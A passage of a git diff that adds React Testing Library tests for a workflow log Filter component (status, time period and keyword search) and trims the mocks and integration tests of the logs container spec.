+      expect(screen.getByText('All')).toBeInTheDocument()
+      expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
+    })
+
+    it('should render all filter components', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      // Status chip
+      expect(screen.getByText('All')).toBeInTheDocument()
+      // Period chip (shows translated key)
+      expect(screen.getByText('appLog.filter.period.last7days')).toBeInTheDocument()
+      // Search input
+      expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Status Filter Tests
+  // --------------------------------------------------------------------------
+  describe('Status Filter', () => {
+    it('should display current status value', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: 'succeeded' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      // Chip should show Success for succeeded status
+      expect(screen.getByText('Success')).toBeInTheDocument()
+    })
+
+    it('should open status dropdown when clicked', async () => {
+      const user = userEvent.setup()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+
+      // Should show all status options
+      await waitFor(() => {
+        expect(screen.getByText('Success')).toBeInTheDocument()
+        expect(screen.getByText('Fail')).toBeInTheDocument()
+        expect(screen.getByText('Stop')).toBeInTheDocument()
+        expect(screen.getByText('Partial Success')).toBeInTheDocument()
+      })
+    })
+
+    it('should call setQueryParams when status is selected', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Success'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'succeeded',
+        period: '2',
+      })
+    })
+
+    it('should track status selection event', async () => {
+      const user = userEvent.setup()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Fail'))
+
+      expect(mockTrackEvent).toHaveBeenCalledWith(
+        'workflow_log_filter_status_selected',
+        { workflow_log_filter_status: 'failed' },
+      )
+    })
+
+    it('should reset to all when status is cleared', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      const { container } = render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: 'succeeded' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      // Find the clear icon (div with group/clear class) in the status chip
+      const clearIcon = container.querySelector('.group\\/clear')
+
+      expect(clearIcon).toBeInTheDocument()
+      await user.click(clearIcon!)
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '2',
+      })
+    })
+
+    test.each([
+      ['all', 'All'],
+      ['succeeded', 'Success'],
+      ['failed', 'Fail'],
+      ['stopped', 'Stop'],
+      ['partial-succeeded', 'Partial Success'],
+    ])('should display correct label for %s status', (statusValue, expectedLabel) => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: statusValue })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByText(expectedLabel)).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Time Period Filter Tests
+  // --------------------------------------------------------------------------
+  describe('Time Period Filter', () => {
+    it('should display current period value', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ period: '1' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
+    })
+
+    it('should open period dropdown when clicked', async () => {
+      const user = userEvent.setup()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+
+      // Should show all period options
+      await waitFor(() => {
+        expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
+        expect(screen.getByText('appLog.filter.period.last4weeks')).toBeInTheDocument()
+        expect(screen.getByText('appLog.filter.period.last3months')).toBeInTheDocument()
+        expect(screen.getByText('appLog.filter.period.allTime')).toBeInTheDocument()
+      })
+    })
+
+    it('should call setQueryParams when period is selected', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+      await user.click(await screen.findByText('appLog.filter.period.allTime'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '9',
+      })
+    })
+
+    it('should reset period to allTime when cleared', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ period: '2' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      // Find the period chip's clear button
+      const periodChip = screen.getByText('appLog.filter.period.last7days').closest('div')
+      const clearButton = periodChip?.querySelector('button[type="button"]')
+
+      if (clearButton) {
+        await user.click(clearButton)
+        expect(setQueryParams).toHaveBeenCalledWith({
+          status: 'all',
+          period: '9',
+        })
+      }
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Keyword Search Tests
+  // --------------------------------------------------------------------------
+  describe('Keyword Search', () => {
+    it('should display current keyword value', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test search' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByDisplayValue('test search')).toBeInTheDocument()
+    })
+
+    it('should call setQueryParams when typing in search', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      await user.type(input, 'workflow')
+
+      // Should call setQueryParams for each character typed
+      expect(setQueryParams).toHaveBeenLastCalledWith(
+        expect.objectContaining({ keyword: 'workflow' }),
+      )
+    })
+
+    it('should clear keyword when clear button is clicked', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      const { container } = render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      // The Input component renders a clear icon div inside the input wrapper
+      // when showClearIcon is true and value exists
+      const inputWrapper = container.querySelector('.w-\\[200px\\]')
+
+      // Find the clear icon div (has cursor-pointer class and contains RiCloseCircleFill)
+      const clearIconDiv = inputWrapper?.querySelector('div.cursor-pointer')
+
+      expect(clearIconDiv).toBeInTheDocument()
+      await user.click(clearIconDiv!)
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '2',
+        keyword: '',
+      })
+    })
+
+    it('should update on direct input change', () => {
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      fireEvent.change(input, { target: { value: 'new search' } })
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'all',
+        period: '2',
+        keyword: 'new search',
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // TIME_PERIOD_MAPPING Tests
+  // --------------------------------------------------------------------------
+  describe('TIME_PERIOD_MAPPING', () => {
+    it('should have correct mapping for today', () => {
+      expect(TIME_PERIOD_MAPPING['1']).toEqual({ value: 0, name: 'today' })
+    })
+
+    it('should have correct mapping for last 7 days', () => {
+      expect(TIME_PERIOD_MAPPING['2']).toEqual({ value: 7, name: 'last7days' })
+    })
+
+    it('should have correct mapping for last 4 weeks', () => {
+      expect(TIME_PERIOD_MAPPING['3']).toEqual({ value: 28, name: 'last4weeks' })
+    })
+
+    it('should have correct mapping for all time', () => {
+      expect(TIME_PERIOD_MAPPING['9']).toEqual({ value: -1, name: 'allTime' })
+    })
+
+    it('should have all 9 predefined time periods', () => {
+      expect(Object.keys(TIME_PERIOD_MAPPING)).toHaveLength(9)
+    })
+
+    test.each([
+      ['1', 'today', 0],
+      ['2', 'last7days', 7],
+      ['3', 'last4weeks', 28],
+      ['9', 'allTime', -1],
+    ])('TIME_PERIOD_MAPPING[%s] should have name=%s and correct value', (key, name, expectedValue) => {
+      const mapping = TIME_PERIOD_MAPPING[key]
+      expect(mapping.name).toBe(name)
+      if (expectedValue >= 0)
+        expect(mapping.value).toBe(expectedValue)
+      else
+        expect(mapping.value).toBe(-1)
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases (REQUIRED)
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle undefined keyword gracefully', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: undefined })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      expect(input).toHaveValue('')
+    })
+
+    it('should handle empty string keyword', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: '' })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      expect(input).toHaveValue('')
+    })
+
+    it('should preserve other query params when updating status', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test', period: '3' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('All'))
+      await user.click(await screen.findByText('Success'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'succeeded',
+        period: '3',
+        keyword: 'test',
+      })
+    })
+
+    it('should preserve other query params when updating period', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ keyword: 'test', status: 'failed' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      await user.click(screen.getByText('appLog.filter.period.last7days'))
+      await user.click(await screen.findByText('appLog.filter.period.today'))
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'failed',
+        period: '1',
+        keyword: 'test',
+      })
+    })
+
+    it('should preserve other query params when updating keyword', async () => {
+      const user = userEvent.setup()
+      const setQueryParams = jest.fn()
+
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({ status: 'failed', period: '3' })}
+          setQueryParams={setQueryParams}
+        />,
+      )
+
+      const input = screen.getByPlaceholderText('common.operation.search')
+      await user.type(input, 'a')
+
+      expect(setQueryParams).toHaveBeenCalledWith({
+        status: 'failed',
+        period: '3',
+        keyword: 'a',
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Integration', () => {
+    it('should render with all filters visible simultaneously', () => {
+      render(
+        <Filter
+          queryParams={createDefaultQueryParams({
+            status: 'succeeded',
+            period: '1',
+            keyword: 'integration test',
+          })}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      expect(screen.getByText('Success')).toBeInTheDocument()
+      expect(screen.getByText('appLog.filter.period.today')).toBeInTheDocument()
+      expect(screen.getByDisplayValue('integration test')).toBeInTheDocument()
+    })
+
+    it('should have proper layout with flex and gap', () => {
+      const { container } = render(
+        <Filter
+          queryParams={createDefaultQueryParams()}
+          setQueryParams={defaultSetQueryParams}
+        />,
+      )
+
+      const filterContainer = container.firstChild as HTMLElement
+      expect(filterContainer).toHaveClass('flex')
+      expect(filterContainer).toHaveClass('flex-row')
+      expect(filterContainer).toHaveClass('gap-2')
+    })
+  })
+})
diff --git a/web/app/components/app/workflow-log/index.spec.tsx b/web/app/components/app/workflow-log/index.spec.tsx
index 2ac9113a8e..e6d9f37949 100644
--- a/web/app/components/app/workflow-log/index.spec.tsx
+++ b/web/app/components/app/workflow-log/index.spec.tsx
@@ -1,105 +1,60 @@
-import React from 'react'
+/**
+ * Logs Container Component Tests
+ *
+ * Tests the main Logs container component which:
+ * - Fetches workflow logs via useSWR
+ * - Manages query parameters (status, period, keyword)
+ * - Handles pagination
+ * - Renders Filter, List, and Empty states
+ *
+ * Note: Individual component tests are in their respective spec files:
+ * - filter.spec.tsx
+ * - list.spec.tsx
+ * - detail.spec.tsx
+ * - trigger-by-display.spec.tsx
+ */
+
 import { render, screen, waitFor } from '@testing-library/react'
 import userEvent from '@testing-library/user-event'
 import useSWR from 'swr'
-
-// Import real components for integration testing
-import Logs from './index'
-import type { ILogsProps, QueryParam } from './index'
-import Filter, { TIME_PERIOD_MAPPING } from './filter'
-import WorkflowAppLogList from './list'
-import TriggerByDisplay from './trigger-by-display'
-import DetailPanel from './detail'
-
-// Import types from source
+import Logs, { type ILogsProps } from './index'
+import { TIME_PERIOD_MAPPING } from './filter'
 import type { App, AppIconType, AppModeEnum } from '@/types/app'
-import type { TriggerMetadata, WorkflowAppLogDetail, WorkflowLogsResponse, WorkflowRunDetail } from '@/models/log'
+import type { WorkflowAppLogDetail, WorkflowLogsResponse, WorkflowRunDetail } from '@/models/log'
 import { WorkflowRunTriggeredFrom } from '@/models/log'
 import { APP_PAGE_LIMIT } from '@/config'
-import { Theme } from '@/types/app'
 
-// Mock external dependencies only
+// ============================================================================
+// Mocks
+// ============================================================================
+
 jest.mock('swr')
+
 jest.mock('ahooks', () => ({
-  useDebounce: <T,>(value: T): T => value,
-}))
-jest.mock('@/service/log', () => ({
-  fetchWorkflowLogs: jest.fn(),
-}))
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-jest.mock('@/context/app-context', () => ({
-  useAppContext: () => ({
-    userProfile: {
-      timezone: 'UTC',
-    },
-  }),
+  useDebounce: <T,>(value: T) => value,
+  useDebounceFn: (fn: (value: string) => void) => ({ run: fn }),
+  useBoolean: (initial: boolean) => {
+    const setters = {
+      setTrue: jest.fn(),
+      setFalse: jest.fn(),
+      toggle: jest.fn(),
+    }
+    return [initial, setters] as const
+  },
 }))
 
-// Router mock with trackable push function
-const mockRouterPush = jest.fn()
 jest.mock('next/navigation', () => ({
   useRouter: () => ({
-    push: mockRouterPush,
+    push: jest.fn(),
   }),
 }))
 
-jest.mock('@/hooks/use-theme', () => ({
+jest.mock('next/link', () => ({
   __esModule: true,
-  default: () => ({ theme: Theme.light }),
-}))
-jest.mock('@/hooks/use-timestamp', () => ({
-  __esModule: true,
-  default: () => ({
-    formatTime: (timestamp: number, _format: string) => new Date(timestamp).toISOString(),
-  }),
-}))
-jest.mock('@/hooks/use-breakpoints', () => ({
-  __esModule: true,
-  default: () => 'pc',
-  MediaType: { mobile: 'mobile', pc: 'pc' },
+  default: ({ children, href }: { children: React.ReactNode; href: string }) => <a href={href}>{children}</a>,
 }))
 
-// Store mock with configurable appDetail
-let mockAppDetail: App | null = null
-jest.mock('@/app/components/app/store', () => ({
-  useStore: (selector: (state: { appDetail: App | null }) => App | null) => {
-    return selector({ appDetail: mockAppDetail })
-  },
-}))
-
-// Mock portal-based components (they need DOM portal which is complex in tests)
-let mockPortalOpen = false
-jest.mock('@/app/components/base/portal-to-follow-elem', () => ({
-  PortalToFollowElem: ({ children, open }: { children: React.ReactNode; open: boolean }) => {
-    mockPortalOpen = open
-    return <div data-testid="portal-elem" data-open={open}>{children}</div>
-  },
-  PortalToFollowElemTrigger: ({ children, onClick }: { children: React.ReactNode; onClick?: () => void }) => (
-    <div data-testid="portal-trigger" onClick={onClick}>{children}</div>
-  ),
-  PortalToFollowElemContent: ({ children }: { children: React.ReactNode }) => (
-    mockPortalOpen ? <div data-testid="portal-content">{children}</div> : null
-  ),
-}))
-
-// Mock Drawer for List component (uses headlessui Dialog)
-jest.mock('@/app/components/base/drawer', () => ({
-  __esModule: true,
-  default: ({ isOpen, onClose, children }: { isOpen: boolean; onClose: () => void; children: React.ReactNode }) => (
-    isOpen ? (
-      <div data-testid="drawer" role="dialog">
-        <button data-testid="drawer-close" onClick={onClose}>Close</button>
-        {children}
-      </div>
-    ) : null
-  ),
-}))
-
-// Mock only the complex workflow Run component - DetailPanel itself is tested with real code
+// Mock the Run component to avoid complex dependencies
 jest.mock('@/app/components/workflow/run', () => ({
   __esModule: true,
   default: ({ runDetailUrl, tracingListUrl }: { runDetailUrl: string; tracingListUrl: string }) => (
@@ -110,105 +65,58 @@ jest.mock('@/app/components/workflow/run', () => ({
   ),
 }))
 
-// Mock WorkflowContextProvider - provides context for Run component
-jest.mock('@/app/components/workflow/context', () => ({
-  WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
-    <div data-testid="workflow-context-provider">{children}</div>
-  ),
-}))
-
-// Mock TooltipPlus - simple UI component
-jest.mock('@/app/components/base/tooltip', () => ({
-  __esModule: true,
-  default: ({ children, popupContent }: { children: React.ReactNode; popupContent: string }) => (
-    <div data-testid="tooltip" title={popupContent}>{children}</div>
-  ),
-}))
-
-// Mock base components that are difficult to render
-jest.mock('@/app/components/app/log/empty-element', () => ({
-  __esModule: true,
-  default: ({ appDetail }: { appDetail: App }) => (
-    <div data-testid="empty-element">No logs for {appDetail.name}</div>
-  ),
-}))
-
-jest.mock('@/app/components/base/pagination', () => ({
-  __esModule: true,
-  default: ({
-    current,
-    onChange,
-    total,
-    limit,
-    onLimitChange,
-  }: {
-    current: number
-    onChange: (page: number) => void
-    total: number
-    limit: number
-    onLimitChange: (limit: number) => void
-  }) => (
-    <div data-testid="pagination">
-      <span data-testid="current-page">{current}</span>
-      <span data-testid="total-items">{total}</span>
-      <span data-testid="page-limit">{limit}</span>
-      <button data-testid="next-page-btn" onClick={() => onChange(current + 1)}>Next</button>
-      <button data-testid="prev-page-btn" onClick={() => onChange(current - 1)}>Prev</button>
-      <button data-testid="change-limit-btn" onClick={() => onLimitChange(20)}>Change Limit</button>
-    </div>
-  ),
-}))
-
-jest.mock('@/app/components/base/loading', () => ({
-  __esModule: true,
-  default: ({ type }: { type?: string }) => (
-    <div data-testid="loading" data-type={type}>Loading...</div>
-  ),
-}))
-
-// Mock amplitude tracking - with trackable function
 const mockTrackEvent = jest.fn()
 jest.mock('@/app/components/base/amplitude/utils', () => ({
   trackEvent: (...args: unknown[]) => mockTrackEvent(...args),
 }))
 
-// Mock workflow icons
-jest.mock('@/app/components/base/icons/src/vender/workflow', () => ({
-  Code: () => <span data-testid="icon-code">Code</span>,
-  KnowledgeRetrieval: () => <span data-testid="icon-knowledge">Knowledge</span>,
-  Schedule: () => <span data-testid="icon-schedule">Schedule</span>,
-  WebhookLine: () => <span data-testid="icon-webhook">Webhook</span>,
-  WindowCursor: () => <span data-testid="icon-window">Window</span>,
+jest.mock('@/service/log', () => ({
+  fetchWorkflowLogs: jest.fn(),
 }))
 
+jest.mock('@/hooks/use-theme', () => ({
+  __esModule: true,
+  default: () => {
+    const { Theme } = require('@/types/app')
+    return { theme: Theme.light }
+  },
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: () => ({
+    userProfile: { timezone: 'UTC' },
+  }),
+}))
+
+// Mock useTimestamp
+jest.mock('@/hooks/use-timestamp', () => ({
+  __esModule: true,
+  default: () => ({
+    formatTime: (timestamp: number, _format: string) => `formatted-${timestamp}`,
+  }),
+}))
+
+// Mock useBreakpoints
+jest.mock('@/hooks/use-breakpoints', () => ({
+  __esModule: true,
+  default: () => 'pc',
+  MediaType: {
+    mobile: 'mobile',
+    pc: 'pc',
+  },
+}))
+
+// Mock BlockIcon
 jest.mock('@/app/components/workflow/block-icon', () => ({
   __esModule: true,
-  default: ({ type, toolIcon }: { type: string; size?: string; toolIcon?: string }) => (
-    <span data-testid="block-icon" data-type={type} data-tool-icon={toolIcon}>BlockIcon</span>
-  ),
+  default: () => <div data-testid="block-icon">BlockIcon</div>,
 }))
 
-// Mock workflow types - must include all exports used by config/index.ts
-jest.mock('@/app/components/workflow/types', () => ({
-  BlockEnum: {
-    TriggerPlugin: 'trigger-plugin',
-  },
-  InputVarType: {
-    textInput: 'text-input',
-    paragraph: 'paragraph',
-    select: 'select',
-    number: 'number',
-    checkbox: 'checkbox',
-    url: 'url',
-    files: 'files',
-    json: 'json',
-    jsonObject: 'json_object',
-    contexts: 'contexts',
-    iterator: 'iterator',
-    singleFile: 'file',
-    multiFiles: 'file-list',
-    loop: 'loop',
-  },
+// Mock WorkflowContextProvider
+jest.mock('@/app/components/workflow/context', () => ({
+  WorkflowContextProvider: ({ children }: { children: React.ReactNode }) => (
+    <div data-testid="workflow-context-provider">{children}</div>
+  ),
 }))
 
 const mockedUseSWR = useSWR as jest.MockedFunction<typeof useSWR>
@@ -237,7 +145,10 @@ const createMockApp = (overrides: Partial<App> = {}): App => ({
   app_model_config: {} as App['app_model_config'],
   created_at: Date.now(),
   updated_at: Date.now(),
-  site: {} as App['site'],
+  site: {
+    access_token: 'token',
+    app_base_url: 'https://example.com',
+  } as App['site'],
   api_base_url: 'https://api.example.com',
   tags: [],
   access_mode: 'public_access' as App['access_mode'],
@@ -274,7 +185,7 @@ const createMockWorkflowLog = (overrides: Partial<WorkflowAppLogDetail> = {}): W
 
 const createMockLogsResponse = (
   data: WorkflowAppLogDetail[] = [],
-  total = 0,
+  total = data.length,
 ): WorkflowLogsResponse => ({
   data,
   has_more: data.length < total,
@@ -284,919 +195,23 @@ const createMockLogsResponse = (
 })
 
 // ============================================================================
-// Integration Tests for Logs (Main Component)
+// Tests
 // ============================================================================
 
-describe('Workflow Log Module Integration Tests', () => {
+describe('Logs Container', () => {
   const defaultProps: ILogsProps = {
     appDetail: createMockApp(),
   }
 
   beforeEach(() => {
     jest.clearAllMocks()
-    mockPortalOpen = false
-    mockAppDetail = createMockApp()
-    mockRouterPush.mockClear()
-    mockTrackEvent.mockClear()
   })
 
-  // Tests for Logs container component - orchestrates Filter, List, Pagination, and Loading states
-  describe('Logs Container', () => {
-    describe('Rendering', () => {
-      it('should render title, subtitle, and filter component', () => {
-        // Arrange
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse([], 0),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert
-        expect(screen.getByText('appLog.workflowTitle')).toBeInTheDocument()
-        expect(screen.getByText('appLog.workflowSubtitle')).toBeInTheDocument()
-        // Filter should render (has Chip components for status/period and Input for keyword)
-        expect(screen.getByPlaceholderText('common.operation.search')).toBeInTheDocument()
-      })
-    })
-
-    describe('Loading State', () => {
-      it('should show loading spinner when data is undefined', () => {
-        // Arrange
-        mockedUseSWR.mockReturnValue({
-          data: undefined,
-          mutate: jest.fn(),
-          isValidating: true,
-          isLoading: true,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert
-        expect(screen.getByTestId('loading')).toBeInTheDocument()
-        expect(screen.queryByTestId('empty-element')).not.toBeInTheDocument()
-      })
-    })
-
-    describe('Empty State', () => {
-      it('should show empty element when total is 0', () => {
-        // Arrange
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse([], 0),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert
-        expect(screen.getByTestId('empty-element')).toBeInTheDocument()
-        expect(screen.getByText(`No logs for ${defaultProps.appDetail.name}`)).toBeInTheDocument()
-        expect(screen.queryByTestId('pagination')).not.toBeInTheDocument()
-      })
-    })
-
-    describe('List State with Data', () => {
-      it('should render log table when data exists', () => {
-        // Arrange
-        const mockLogs = [
-          createMockWorkflowLog({ id: 'log-1' }),
-          createMockWorkflowLog({ id: 'log-2' }),
-        ]
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse(mockLogs, 2),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert
-        expect(screen.getByRole('table')).toBeInTheDocument()
-        // Check table headers
-        expect(screen.getByText('appLog.table.header.startTime')).toBeInTheDocument()
-        expect(screen.getByText('appLog.table.header.status')).toBeInTheDocument()
-        expect(screen.getByText('appLog.table.header.runtime')).toBeInTheDocument()
-        expect(screen.getByText('appLog.table.header.tokens')).toBeInTheDocument()
-      })
-
-      it('should show pagination when total exceeds APP_PAGE_LIMIT', () => {
-        // Arrange
-        const mockLogs = Array.from({ length: APP_PAGE_LIMIT }, (_, i) =>
-          createMockWorkflowLog({ id: `log-${i}` }),
-        )
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse(mockLogs, APP_PAGE_LIMIT + 10),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert
-        expect(screen.getByTestId('pagination')).toBeInTheDocument()
-        expect(screen.getByTestId('total-items')).toHaveTextContent(String(APP_PAGE_LIMIT + 10))
-      })
-
-      it('should not show pagination when total is within limit', () => {
-        // Arrange
-        const mockLogs = [createMockWorkflowLog()]
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse(mockLogs, 1),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert
-        expect(screen.queryByTestId('pagination')).not.toBeInTheDocument()
-      })
-    })
-
-    describe('API Query Parameters', () => {
-      it('should call useSWR with correct URL containing app ID', () => {
-        // Arrange
-        const customApp = createMockApp({ id: 'custom-app-123' })
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse([], 0),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs appDetail={customApp} />)
-
-        // Assert
-        expect(mockedUseSWR).toHaveBeenCalledWith(
-          expect.objectContaining({
-            url: '/apps/custom-app-123/workflow-app-logs',
-          }),
-          expect.any(Function),
-        )
-      })
-
-      it('should include pagination parameters in query', () => {
-        // Arrange
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse([], 0),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert
-        expect(mockedUseSWR).toHaveBeenCalledWith(
-          expect.objectContaining({
-            params: expect.objectContaining({
-              page: 1,
-              detail: true,
-              limit: APP_PAGE_LIMIT,
-            }),
-          }),
-          expect.any(Function),
-        )
-      })
-
-      it('should include date range when period is not all time', () => {
-        // Arrange
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse([], 0),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-
-        // Assert - default period is '2' (last 7 days), should have date filters
-        const lastCall = mockedUseSWR.mock.calls[mockedUseSWR.mock.calls.length - 1]
-        const keyArg = lastCall?.[0] as { params?: Record<string, unknown> } | undefined
-        expect(keyArg?.params).toHaveProperty('created_at__after')
-        expect(keyArg?.params).toHaveProperty('created_at__before')
-      })
-    })
-
-    describe('Pagination Interactions', () => {
-      it('should update page when pagination changes', async () => {
-        // Arrange
-        const user = userEvent.setup()
-        const mockLogs = Array.from({ length: APP_PAGE_LIMIT }, (_, i) =>
-          createMockWorkflowLog({ id: `log-${i}` }),
-        )
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse(mockLogs, APP_PAGE_LIMIT + 10),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-
-        // Act
-        render(<Logs {...defaultProps} />)
-        await user.click(screen.getByTestId('next-page-btn'))
-
-        // Assert
-        await waitFor(() => {
-          expect(screen.getByTestId('current-page')).toHaveTextContent('1')
-        })
-      })
-    })
-
-    describe('State Transitions', () => {
-      it('should transition from loading to list state', async () => {
-        // Arrange - start with loading
-        mockedUseSWR.mockReturnValue({
-          data: undefined,
-          mutate: jest.fn(),
-          isValidating: true,
-          isLoading: true,
-          error: undefined,
-        })
-
-        // Act
-        const { rerender } = render(<Logs {...defaultProps} />)
-        expect(screen.getByTestId('loading')).toBeInTheDocument()
-
-        // Update to loaded state
-        const mockLogs = [createMockWorkflowLog()]
-        mockedUseSWR.mockReturnValue({
-          data: createMockLogsResponse(mockLogs, 1),
-          mutate: jest.fn(),
-          isValidating: false,
-          isLoading: false,
-          error: undefined,
-        })
-        rerender(<Logs {...defaultProps} />)
-
-        // Assert
-        await waitFor(() => {
-          expect(screen.queryByTestId('loading')).not.toBeInTheDocument()
-          expect(screen.getByRole('table')).toBeInTheDocument()
-        })
-      })
-    })
-  })
-
-  // ============================================================================
-  // Tests for Filter Component
-  // ============================================================================
-
-  describe('Filter Component', () => {
-    const mockSetQueryParams = jest.fn()
-    const defaultFilterProps = {
-      queryParams: { status: 'all', period: '2' } as QueryParam,
-      setQueryParams: mockSetQueryParams,
-    }
-
-    beforeEach(() => {
-      mockSetQueryParams.mockClear()
-      mockTrackEvent.mockClear()
-    })
-
-    describe('Rendering', () => {
-      it('should render status filter chip with correct value', () => {
-        // Arrange & Act
-        render(<Filter {...defaultFilterProps} />)
-
-        // Assert - should show "All" as default status
-        expect(screen.getByText('All')).toBeInTheDocument()
-      })
-
-      it('should render time period filter chip', () => {
-        // Arrange & Act
-        render(<Filter {...defaultFilterProps} />)
-
-        // Assert - should have calendar icon (period filter)
-        const calendarIcons = document.querySelectorAll('svg')
-        expect(calendarIcons.length).toBeGreaterThan(0)
-      })
